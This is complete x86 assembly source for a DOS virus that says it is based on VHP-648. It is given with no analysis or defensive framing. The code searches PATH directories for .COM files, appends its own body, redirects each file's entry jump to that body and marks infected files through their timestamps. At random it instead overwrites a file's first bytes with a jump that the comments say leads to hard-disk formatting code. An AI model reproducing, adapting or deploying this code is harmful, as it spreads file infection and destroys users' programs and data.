name Virus title Virus; based on the famous VHP-648 virus .radix 16 code segment assume cs:code,ds:code org 100 environ equ 2C newjmp equ 7Bh ;Code of jmp instruction codeptr equ 7A ;Here is formed a jump to virus code pname equ 78 ;Offset of file name in dir path poffs equ 76 ;Address of 'PATH' string errhnd equ 74 ;Old error handler fname equ 70 ;Path name to search for mydta equ 2C ;DTA for Find First/Next: attrib equ 17 ;File attribute time equ 16 ;File time date equ 14 ;File date fsize equ 12 ;File size namez equ 0E ;File name found start: jmp short virus nop int 20 data label byte ;Data section saveins db 3 dup (90) ;Original first 3 bytes allcom db '*.COM',0 ;Filespec to search for pathstr db 'PATH=' ;This replaces the first instruction of a destroyed file. ;It's a jmp instruction into the hard disk formatting program (IBM XT only): bad_jmp db 0EA,5,0,0,0C8 virus: push ax push cx ;Save CX call self ;Detrmine the program start address nop ;For those looking for the E80000 pattern self: pop bx sub bx,self-data-1 ;Keep BX pointed at data cld lea si,[bx+saveins-data] ;Instruction saved there mov di,offset start mov cx,3 ;Move 3 bytes rep movsb ;Do it mov si,bx ;Keep SI pointed at data push bp ;Reserve local storage mov bp,sp sub sp,7C mov ah,30 ;Get DOS version int 21 cmp al,0 ;Less than 2.0? jne skip1 jmp exit ;Exit if so skip1: push es ;Save ES mov ax,3524 ;Get interrupt 24h handler int 21 ; and save it in errhnd mov [bp-errhnd],bx mov [bp-errhnd+2],es mov ah,25 ;Set interrupt 24h handler lea dx,[si+handler-data] int 21 lea dx,[bp-mydta] mov ah,1A ;Set DTA int 21 push si mov es,ds:[environ] ;Environment address xor di,di mov bx,si srchfirst: ;Search 'PATH' in environment lea si,[bx+pathstr-data] lodsb scasb ;Search for first letter ('P') jne nextp mov cx,4 ;4 letters in 'ATH=' rep cmpsb je pfound ;PATH found, continue nextp: cmp byte ptr es:[di],0 je notfound ;End of environment? mov cx,8000 ;Maximum 32 K in environment mov al,0 ;If not, skip thru next 0 repne scasb ; (i.e. go to next variable) jmp srchfirst ; and search again notfound: xor di,di ;0 indicates no PATH found pfound: pop si ;Restore SI & ES pop es mov [bp-poffs],di ;Save 'PATH' offset in poffs lea di,[bp-fname] mov [bp-pname],di filesrch: lea si,[bx+allcom-data] mov cl,3 ;3 words in ASCIIZ '*.COM' rep movsw ;Move '*.COM' at fname mov si,bx ;Restore SI mov ah,4E ;Find first file lea dx,[bp-fname] mov cl,11b ;Hidden, Read/Only or Normal files int 21 jc nextdir ;If not found, search in another directory checkfile: mov al,[bp-time] ;Check file time and al,11111b ; (the seconds, more exactly) cmp al,62d/2 ;Are they 62? ;If so, file is already contains the virus, search for another: je findnext ;Is file size greather than 64,000 bytes? cmp [bp-fsize],64000d ja findnext ;If so, search for next file ;Is file size greater or equal to 10 bytes? cmp word ptr [bp-fsize],10d jae process ;If so, process file findnext: ;Otherwise find the next file mov ah,4F ;Find next file int 21 jnc checkfile ;If found, go chech some conditions nextdir: mov si,[bp-poffs] or si,si jnz skip2 jmp olddta ;Exit if end of environment reached skip2: push ds ;Save DS lea di,[bp-fname] ;Point ES:DI at fname mov ds,ds:[environ] ;Point DS:SI at the PATH variable found cpydir: lodsb ;Get a char from the PATH variable cmp al,';' ;`;' means end of directory je enddir cmp al,0 ;0 means end of PATH variable je endpath stosb ;Put the char in fname jmp cpydir ;Loop until done endpath: xor si,si ;Zero SI to indicate end of PATH enddir: pop ds ;Restore DS mov [bp-poffs],si cmp byte ptr [di-1],'\' je skip3 mov al,'\' ;Add '\' if not already present stosb skip3: mov [bp-pname],di jmp filesrch process: mov di,[bp-pname] lea si,[bp-namez] ;Point SI at namez cpyname: lodsb ;Copy name found to fname stosb cmp al,0 jne cpyname mov si,bx ;Restore SI mov ax,4301 ;Set file attributes mov cl,[bp-attrib] and cl,not 1 ;Turn off Read Only flag int 21 mov ax,3D02 ;Open file with Read/Write access int 21 jc oldattr ;Exit on error mov bx,ax ;Save file handle in BX mov ah,2C ;Get system time int 21 and dh,111b ;Are seconds a multiple of 8? jnz infect ;If not, contaminate file (don't destroy): ;Destroy file by rewriting an illegal jmp as first instruction: mov ah,40 ;Write to file handle mov cx,5 ;Write 5 bytes lea dx,[si+bad_jmp-data] ;Write THESE bytes int 21 ;Do it jmp short oldtime ;Exit ;Try to contaminate file: ;Read first instruction of the file (first 3 bytes) and save it in saveins: infect: mov ah,3F ;Read from file handle mov cx,3 ;Read 3 bytes lea dx,[si+saveins-data] ;Put them there int 21 jc oldtime ;Exit on error cmp ax,3 ;Are really 3 bytes read? jne oldtime ;Exit if not ;Move file pointer to end of file: mov ax,4202 ;LSEEK from end of file xor cx,cx ;0 bytes from end xor dx,dx int 21 jc oldtime ;Exit on error add ax,virus-data-3 ;Add virus data length to get code offset mov [bp-codeptr],ax ;Save result in codeptr mov byte ptr [bp-newjmp],0E9 mov ah,40 ;Write to file handle mov cx,endcode-data ;Virus code length as bytes to be written mov dx,si ;Write from data to endcode int 21 jc oldtime ;Exit on error cmp ax,endcode-data ;Are all bytes written? jne oldtime ;Exit if not mov ax,4200 ;LSEEK from the beginning of the file xor cx,cx ;Just at the file beginning xor dx,dx int 21 jc oldtime ;Exit on error ;Rewrite the first instruction of the file with a jump to the virus code: mov ah,40 ;Write to file handle mov cl,3 ;3 bytes to write lea dx,[bp-newjmp] ;Write THESE bytes int 21 oldtime: mov dx,[bp-date] ;Restore file date mov cx,[bp-time] ; and time or cl,11111b ;Set seconds to 62 (?!) mov ax,5701 ;Set file date & time int 21 mov ah,3E ;Close file handle int 21 oldattr: mov ax,4301 ;Set file attributes mov cl,[bp-attrib] ;They were saved in fattrib mov ch,0 lea dx,[bp-fname] int 21 olddta: mov ah,1A ;Set DTA mov dx,80 ;Restore DTA int 21 push ds ;Save DS mov ax,2524 ;Set interrupt 24h handler mov dx,[bp-errhnd] ;Restore saved handler mov ds,[bp-errhnd+2] int 21 pop ds ;Restore DS exit: mov sp,bp pop bp ;Restore BP, CX & AX pop cx pop ax xor bx,bx ;Clear registers xor dx,dx xor si,si mov di,offset start ;Jump to CS:100 push di ; by doing funny RET xor di,di ret handler: ;Critical error handler mov al,0 ;Just ignore error iret ; and return endcode label byte code ends end start